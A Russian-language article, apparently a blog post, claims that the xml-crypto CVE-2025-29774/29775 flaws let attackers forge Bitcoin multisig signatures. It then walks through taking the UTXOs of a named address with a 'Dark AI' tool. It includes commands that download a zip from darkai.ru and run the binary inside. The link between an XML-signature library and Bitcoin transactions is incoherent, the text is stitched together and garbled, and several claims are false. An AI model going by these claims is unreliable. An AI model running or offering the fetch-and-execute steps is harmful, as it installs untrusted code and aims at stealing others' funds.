
Как уязвимости CVE-2025-29774 и ошибка SIGHASH_SINGLE угрожают методам работы мультиподписных кошельков с помощью поддельных RawTX
В этой статье мы рассмотрим криптографическую атаку подделки цифровой подписи (Digital Signature Forgery Attack), последствия которой представляют угрозу безопасности транзакций в сети Биткоин, поскольку цифровые подписи подтверждают право собственности и авторизацию переводов криптовалюты. Мы рассмотрим примеры влияния таких атак на Биткоин на основе современных исследований и выявленных уязвимостей.
Атака подделки цифровой подписи (Digital Signature Forgery Attack) — это попытка злоумышленника создать поддельную цифровую подпись ECDSA, которая будет признана действительной сетью Биткоин. Эта атака позволяет авторизовывать транзакции без знания закрытого ключа владельца, что ставит под угрозу безопасность средств в криптокошельке держателя монет BTC.
В криптографии цифровая подпись обеспечивает подтверждение подлинности сообщения или транзакции. Подделка подписи означает, что можно создать пару «RawTX», которая будет принята системой как действительная, хотя на самом деле она не была создана владельцем закрытого ключа. Это открывает путь для мошенничества, кражи средств и нарушения целостности блокчейна. Атака подделки цифровой подписи (DSFA) как криптографическая атака реализуется в программных компонентах, которые используют библиотеку xml-crypto для проверки подписей XML-документов на платформе Node.js.

В первую очередь это касается корпоративных интеграционных решений, облачных сервисов и систем единого входа, таких как IBM App Connect Enterprise Certified Container и других приложений, которые зависят от xml-crypto для аутентификации и авторизации SAML. Аппаратные уязвимости не связаны с конкретными физическими устройствами, а реализуются в программных продуктах, использующих уязвимую библиотеку.
Уязвимости CVE-2025-29774 и CVE-2025-29775, известные как атака подделки цифровой подписи, реализованы в программной библиотеке xml-crypto , библиотеке для цифрового подписания и шифрования XML-документов на платформе Node.js.


Таким образом, этот код реализует алгоритмы криптографической подписи и проверки подписи для различных схем (RSA с различными хешами SHA и HMAC-SHA1), что позволяет интегрировать их в системы, требующие цифровой подписи данных.
Код signature-algorithms.ts используется для безопасного создания и проверки цифровых подписей, обеспечивая подлинность и целостность данных. Подписи ECDSA обеспечивают проверку авторства с помощью закрытого ключа, а HMAC — проверку целостности и подлинности с помощью секретного ключа. Используемые алгоритмы соответствуют стандартам XML Digital Signature (URI алгоритмов указывают на спецификации W3C).
Таким образом, код signature-algorithms.ts реализует алгоритмы криптографической подписи и проверки подписи для различных схем (ECDSA, RSA с различными хешами SHA и HMAC-SHA1), что позволяет интегрировать их в системы, требующие цифровой подписи данных.
SignatureAlgorithm и предоставляет методы для:
getSignature): принимает данные подписи и закрытый ключ, возвращает цифровую подпись в формате base64.verifySignature): принимает входные данные, открытый ключ и подпись, возвращает логическое значение, указывающее, верна ли подпись.getAlgorithmName): возвращает URI, идентифицирующий используемый алгоритм подписи.crypto.createSign и crypto.createVerify с соответствующими алгоритмами («RSA-SHA1», «RSA-SHA256», «RSA-SHA512»).crypto.createHmac с алгоритмом «SHA1».createOptionalCallbackFunction, которая, вероятно, позволяет использовать их как с колбэками, так и с промисами (подробности в коде отсутствуют).Использование алгоритма RSA-SHA1 в криптографических подписях содержит уязвимость, связанную с коллизиями хеша SHA-1. Это позволяет злоумышленнику создать два разных сообщения с одинаковой подписью, если он контролирует часть подписываемых данных.
В частности, проблема в классе RsaSha1:
const signer = crypto.createSign("RSA-SHA1"); // Уязвимая строка
Также вторая уязвимость находится в классе RsaSha1:
const verifier = crypto.createVerify("RSA-SHA1"); // Уязвимая строка
HmacSha1менее уязвим, но также устарел. HMAC более устойчив к коллизиям, чем «чистый» SHA-1, но переход на SHA-256 предпочтительнее.
CVE-2025-29774 и CVE-2025-29775 — это критические уязвимости в библиотеке xml-crypto для Node.js, связанные с неправильной проверкой цифровых подписей в XML-документах. Обе уязвимости позволяют злоумышленнику изменить подписанные XML-сообщения таким образом, что это остается незамеченным при проверке подписи.
В представленном коде классы RsaSha1 используют устаревший алгоритм RSA-SHA1 для подписи и проверки:
const signer = crypto.createSign("RSA-SHA1"); // Уязвимая строка №7
const verifier = crypto.createVerify("RSA-SHA1"); // Уязвимая строка №17SHA1 считается криптографически небезопасным, основная проблема заключается в логике обработки XML-структур библиотекой :
<SignedInfo> , что приводит к неправильному вычислению хеша при проверке.<Signature> <SignedInfo>...</SignedInfo> <!-- Исходный узел --> <SignedInfo>...</SignedInfo> <!-- Добавлен злоумышленником --> </Signature>
// Использование SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo>.Устранение этих уязвимостей критически важно для систем, использующих XML-подписи для аутентификации (например, SAML, SOAP).

Библиотека xml-crypto широко используется для проверки цифровых подписей в XML-сообщениях, включая такие протоколы, как SAML, SOAP и другие. Следовательно, уязвимость потенциально затрагивает:
Чтобы оценить риск для конкретных устройств, рекомендуется проверить, используют ли они уязвимые версии xml-crypto или зависят от аналогичных механизмов XML-подписей. Для работы с криптовалютными кошельками на основе Node.js IBM предлагает отдельные решения, такие как IBM Secure Bitcoin Wallet — приложение на основе Electrum Bitcoin Client, использующее Node.js для взаимодействия с сетью Bitcoin и управления кошельком.
В этом решении закрытые ключи и кошелек могут храниться и шифроваться с помощью IBM Cloud Hyper Protect Crypto Services (zHSM), что обеспечивает аппаратное безопасное хранение ключей. Генерация закрытых ключей для Bitcoin-кошельков обычно реализуется в специализированных криптографических библиотеках, таких как Electrum, bitcoinjs-lib и других, которые могут быть интегрированы в приложения Node.js. IBM Secure Bitcoin Wallet использует модифицированный бэкенд Electrum на Node.js для управления ключами и транзакциями через интеграцию с IBM Cloud Hyper Protect Crypto Services, что обеспечивает аппаратное шифрование и безопасное хранение закрытых ключей.
Из теории уязвимости CVE-2025-29775 известно, что злоумышленник может обработать необновленную библиотеку xml-crypto для получения некорректных значений транзакций. Перейдем к практической части статьи и рассмотрим пример с Bitcoin-кошельком: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, где были потеряны монеты в размере: 0.059672 BTC. По состоянию на июль 2025 года эта сумма составляет: 7 052 USD
Рассмотрим формат: Raw transaction — двоичные и шестнадцатеричные данные, содержащие всю информацию о транзакции. Они необходимы для передачи, проверки или создания транзакций на низком уровне и являются основой работы всей сети Bitcoin. Обычные пользователи редко сталкиваются с Raw транзакциями напрямую, но для разработчиков и криптоэнтузиастов это основной инструмент полного контроля над всеми транзакциями сети Bitcoin.

Для полного возврата объектов UTXO в сети Bitcoin мы воспользуемся инструментом Dark AI. UTXO — это основная часть структуры данных в блокчейне и представляет собой количество монет BTC, которые могут быть потрачены держателем закрытого ключа (контролирующего этот Bitcoin-адрес). Каждый UTXO является выходом определенной прошлой транзакции, который никогда не использовался как вход в последующих транзакциях.

Команды:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget — утилита командной строки для загрузки файлов из сети по протоколам HTTP, HTTPS и FTP.neuralnet_tools.zipunzip — команда для извлечения ZIP-архивов в текущую директорию.Эта команда извлекает все файлы из neuralnet_tools.zip
!unzip neuralnet_tools.zip
Выполним команду ls для быстрого и удобного просмотра
ls

!./darkai
Выполним команду для получения информации о так называемых непотраченных выходах транзакций (UTXO, расшифровка: Unspent Transaction Output) для указанного Bitcoin-адреса. Эта информация важна для оценки баланса адреса и возможности проведения новых транзакций.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]Каждый UTXO содержит:
<txid>:<n>, где <txid> — уникальный хеш транзакции, а <n> — номер выхода в списке выходов для этой транзакции.8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0Общий доступный баланс адреса равен сумме всех найденных UTXO:

Мы используем процесс интерпретации для обработки необновленной библиотеки xml-crypto с целью создания некорректных значений транзакций и отправки большой суммы; алгоритм Dark AI выберет, какой UTXO использовать (или объединит оба).
Bitcoin-адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe имеет два активных UTXO общей суммой 0.05677200 BTC. Эти средства могут быть использованы для проведения новых транзакций; оба выхода считаются подтвержденными и непотраченными.

Чтобы получить фрагменты информации о выходе (output) биткойн-транзакции, используйте следующие команды, где первый выход (
outs) из транзакции имеет уникальный идентификатор8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — скрипт, определяющий условия траты этого выхода.
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87, что соответствует формату P2SH (Pay to Script Hash):
a9— OP_HASH160 (оператор хеширования)14— длина следующего значения (20 байт = 40 шестнадцатеричных символов)06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash160 самого биткойн-адреса Wallet, где хранятся монеты BTC.87— OP_EQUAL (базовый оператор команды Bitcoin Script, который реализует сравнение двух фрагментов данных для проверки их идентичности)В результате десериализации транзакции по идентификатору,
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdбыл получен первый выход, содержащий сумму 677 200 сатоши (0,00677200 BTC), защищенную скриптом P2SH. Для управления этими средствами потребуется предъявить целевой скрипт и правильно подписать транзакцию разблокировки, удовлетворяющую условиям указанного хеша.

Чтобы получить фрагменты информации о выходе исходных данных (
output) биткойн-транзакции, примените следующие команды, где первый выход (outs) из транзакции с уникальным идентификаторомbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786Используя процесс интерпретации, с помощью Dark AI с применением функции десериализации, мы затем получаем информацию о структуре первого элемента выхода ( output) для второй транзакции с идентификаторомbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.
Результат:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs'. Она может быть потрачена только при выполнении условий, записанных в скрипте, определенном в поле 'script'.
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'Указанное значение соответствует стандартному типу скрипта в сети Bitcoin:
a9— код операции OP_HASH160 (вычисляет RIPEMD-160 от SHA-256 от следующей строки).14— длина последующего поля: 20 байт (40 шестнадцатеричных символов).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20-байтовый хеш, который идентифицирует либо адрес биткойн-кошелька, либо скрипт.87— код операции OP_EQUAL.В совокупности эта запись означает адрес P2SH (Pay-to-Script-Hash). В этом случае средства привязаны к определенной комбинации скриптов, и для их вывода потребуется раскрыть скрипт, хеш которого здесь записан, и предъявить подписи (или другие данные), удовлетворяющие условиям этого скрипта.
Наиболее распространенные варианты использования этой схемы — мультиподписи, простые и сложные смарт-контракты, двусторонние мультиподписи, условные схемы безопасности и другие продвинутые сценарии.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Таким образом, результат десериализации сообщает о наличии определенного количества биткойнов на условном (P2SH) адресе и определяет строгие правила для их траты, что играет ключевую роль в управлении и учете средств в сети Bitcoin.

Скрипт 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'выбран и используется в этом выходе транзакции, поскольку он представляет собой типичный блокирующий скрипт P2SH (Pay-to-Script-Hash) в сети Bitcoin.
Разберем его по частям:
a9— OP_HASH160: Операция хеширования, которая сначала применяет SHA-256, а затем RIPEMD-160 к последующим данным.14— длина хеша — 20 байт (в шестнадцатеричном формате).06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20-байтовый хеш скрипта, известный как хеш скрипта.87— OP_EQUAL: Оператор, проверяющий равенство двух значений в стеке.Таким образом, этот скрипт требует, чтобы в момент использования (траты средств) был предъявлен скрипт, хеш которого совпадает с 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, и чтобы условия этого скрипта были выполнены.
Скрипт
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'— это блокирующий скрипт P2SH, который говорит, что для траты 0,05 BTC необходимо предоставить исходный скрипт с хешем06612b7cb2027e80ec340f9e02ffe4a9a59ba762и выполнить условия, указанные в нем. Это обеспечивает баланс между удобством, безопасностью и функциональностью — основная причина выбора именно этого скрипта в данной транзакции. Хеш06612b7cb2027e80ec340f9e02ffe4a9a59ba762в P2SH-скрипте — это результат конкретного хеширования исходного скрипта (redeem script), который определяет условия траты средств из этого выхода.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Этот хеш однозначно идентифицирует именно тот сценарий, для которого он был сгенерирован.SHA-256 + RIPEMD-160)из исходного скрипта (redeem script), поэтому случайно или произвольно выбрать другой хеш невозможно.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287Таким образом, выбор именно этого хеша продиктован необходимостью точной и безопасной привязки выхода к конкретным условиям траты, которые контролируют доступ к средствам в блокчейне. Все это обеспечивается свойствами криптографических хеш-функций, их уникальностью и невозможностью обратного восстановления исходных данных.
Разработчики Bitcoin встроили в код механизм P2SH (Pay-to-Script-Hash) как ключевое новшество, обеспечивающее безопасность и расширяющее возможности сети блокчейн. Рассмотрим структуру и принцип работы этого скрипта, его отличие от классических транзакций, а также причины выбора такого подхода к хранению и защите цифровых активов.
Традиционно транзакции Bitcoin работали по схеме Pay-to-Pubkey-Hash (P2PKH) – где средства «блокируются» с использованием хеша открытого ключа получателя. Чтобы потратить эти средства, пользователь должен предоставить свою цифровую подпись и открытый ключ, которые проверяются сетью.
Однако помимо P2PKH интерфейс был ограничен, поскольку Bitcoin Script позволяет реализовывать гораздо более сложные условия траты: от мультиподписей до временных блокировок и других соглашений смарт-контрактов. Проблема заключалась в том, что длинные и сложные скрипты неизбежно увеличивали размер транзакций и снижали их удобство использования.
Именно для упрощения взаимодействия с такими сложными сценариями в 2012 году была введена концепция P2SH , стандартизированная в BIP 16 Гэвином Андресеном. Суть P2SH сводится к замене полного скрипта условий траты в scriptPubKey на его криптографический хеш – так называемый хеш скрипта.

Давайте посмотрим на скрипт, полученный в результате десериализации:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALЭтот скрипт отличается от стандартного P2PKH тем, что вместо хеша открытого ключа он хранит хеш redeemScript – набора условий, при которых можно потратить средства.
Чтобы потратить такие средства, необходимо передать во входах (scriptSig) транзакции, ссылающейся на этот выход:
При обработке транзакции узлы сети:
Таким образом, P2SH переносит ответственность за представление и проверку условий траты с отправителя (создающего требуемый скрипт) на тратящего.
P2SH позволяет создавать адреса с произвольными, часто многоуровневыми условиями – например, требование мультиподписи (2 из 3, 3 из 5 и т.д.), временные ограничения, логику распределения и многое другое. При этом отправитель просто отправляет средства на компактный хеш-адрес, не вдаваясь в технические детали.
Вместо хранения полного скрипта в блокчейне в транзакции сохраняется только его хеш. Это снижает нагрузку на сеть, уменьшает размер блоков и ускоряет проверку транзакций.
Поскольку скрипт redeemScript раскрывается и проверяется только в момент траты, это повышает конфиденциальность условий и усложняет попытки несанкционированного доступа. Использование криптографических хеш-функций гарантирует защиту от подделки и модификации – любое малейшее отклонение в скрипте приведет к другому хешу, и сеть откажется принимать транзакцию.
P2SH стандартизирует и упрощает использование сложных смарт-контрактов в Bitcoin, облегчая интеграцию и повышая совместимость с различными кошельками и сервисами.
Классический пример – кошелек, для выполнения транзакции которого требуются подписи двух из пяти участников. С P2SH:
Это делает P2SH идеальным для корпоративных счетов, совместных предприятий и других ситуаций, где требуется контроль доступа. Механизм Pay-to-Script-Hash (P2SH) является фундаментальной частью архитектуры Bitcoin, обеспечивая баланс между:

ins)Выполним команду для получения информации об одном из входов транзакции с хешем 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. Анализ такого входа важен для понимания механизма авторизации траты средств на уровне скрипта.
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132Результат извлечения первого входа транзакции (
ins) представлен следующим образом:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script)script – это scriptSig , который используется для разблокировки соответствующего выхода предыдущей транзакции.00, что в контексте scriptSig может означать OP_0 , традиционно используемый в сценариях мультиподписи (например, в случае стандарта мультиподписи Pay-to-Script-Hash, где требуется заглушка).3045...), которые обычно состоят из серии байтов, содержащих детали подписи.outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— это хеш предыдущей транзакции.'index': 1– указывает на второй выход (нумерация с нуля), который используется для разблокировки.sequence)4294967295 (0xFFFFFFFF)– это максимальное 32-битное число.Криптоанализ извлечения первого входа транзакции (
ins) с заданным хешем транзакции показал, что:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.Таким образом, полученные данные позволяют глубже понять механику проверки прав на трату средств, используются для обеспечения безопасности сети Bitcoin, а также при разработке и аудите смарт-контрактов на основе скриптов Bitcoin.

outs)Выполним команду для получения информации об одном из выходов транзакции с идентификатором
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577В частности, был извлечен второй выход (
outs) этой транзакции, элемент с индексом 1.
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287– это классический блокирующий скрипт (scriptPubKey) формата P2SH (Pay-to-Script-Hash) .a9— OP_HASH160 — оператор, который сначала применяет SHA-256, а затем RIPEMD-160 к входным данным.14— длина (20 байт) следующего значения — размер хеша.06612b7cb2027e80ec340f9e02ffe4a9a59ba762— 20-байтовый хеш, также известный как хеш скрипта , уникальное представление скрипта выкупа, управляющего тратой этих средств.87— OP_EQUAL — оператор, сравнивающий два значения и возвращающий true, если они равны.Таким образом, скрипт требует, чтобы для разблокировки (траты средств) пользователь представил скрипт выкупа, хеш которого совпадает с этим значением.
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577 связан с выходом, содержащим 0.0035 BTC.06612b7cb2027e80ec340f9e02ffe4a9a59ba762.
Полученная информация подтверждает, что вторая запись выхода транзакции
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577хранит сумму 0.0035 BTC, управляемую стандартным P2SH-скриптом со значением hash16006612b7cb2027e80ec340f9e02ffe4a9a59ba762. Для управления этими средствами необходимо предоставить соответствующий redeem script, что обеспечивает высокий уровень безопасности и гибкости в управлении биткоинами.
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeДавайте запустим команду для получения HASH160. Разработчики Bitcoin установили стандарт для 20-байтового хеша (hex), который широко используется без изменений в других популярных криптовалютах, таких как Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) для обозначения сокращенного идентификатора скриптов и открытых ключей.
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeПроцесс обработки:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Этот 20-байтовый хеш (hex) называется HASH160 и широко используется в Bitcoin для обозначения сокращенного идентификатора скриптов и открытых ключей.
Ключевой шаг в обработке биткоин-скриптов с использованием криптографических хеш-функций.
Преобразование сериализованных скриптов или открытых ключей в HASH160 позволяет эффективно идентифицировать, индексировать и защищать данные в блокчейне Bitcoin.
Полученный хеш:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}Команда получила точный хеш, который служит связующим звеном между сложными скриптами и компактным форматом, используемым для хранения и проверки транзакций в сети Bitcoin.

Сатоши Накамото выбрал использование двойного хеширования SHA-256 (то есть применение SHA-256 дважды подряд) в алгоритмах хеширования Bitcoin по нескольким важным причинам, которые повышают криптографическую стойкость и безопасность сети.
Двойное использование
SHA-256является осознанным выбором Сатоши Накамото для обеспечения дополнительного уровня безопасности и надежной криптографической стойкости всей системы Bitcoin. Такая конструкция минимизирует риски коллизий, усиливает однонаправленность и надежно защищает данные в сети блокчейна, создавая прочную основу для безопасности транзакций и консенсуса в системе. Таким образом, двойной SHA-256 является ключевым элементом архитектуры Bitcoin, сочетающим передовые криптографические методы с распределенной системой.

Безопасность и гибкость современных транзакций Bitcoin основаны на системе скриптов, которая позволяет задавать сложные условия траты средств. Одним из ключевых механизмов является мультиподпись (multisig) , когда средства могут быть потрачены только при наличии нескольких действительных цифровых подписей из набора возможных. В этой статье мы подробно рассмотрим, как именно это реализовано в Bitcoin, что такое redeemScript, как работает инструкция OP_CHECKMULTISIG , и почему такой подход востребован.
В контексте Bitcoin, redeemScript — это скрипт, содержащий условия траты средств, которые хранятся в выходе транзакции в формате Pay-to-Script-Hash (P2SH). Вместо хранения полного скрипта в блокчейне, в выходе хранится хеш redeemScript, экономя место и скрывая детали условий до момента траты.
RedeemScript может включать, например, несколько открытых ключей и пороговое количество подписей – именно это реализуют мультиподписные кошельки.
Рассмотрим инструкцию OP_CHECKMULTISIG: назначение и работа, где основным элементом в redeemScript, реализующим проверку мультиподписи, является OP_CHECKMULTISIG .
Из-за исторической ошибки в реализации OP_CHECKMULTISIG , во время выполнения из стека удаляется один лишний элемент, неиспользуемое значение. Чтобы избежать этой проблемы, scriptSig использует в начале специальный элемент
OP_FALSE(значение 0), который компенсирует эту ошибку и предотвращает потенциальные уязвимости.
OP_FALSE <signature1> <signature2> ... <redeemScript> где первым элементом скрипта является фиктивный OP_FALSE.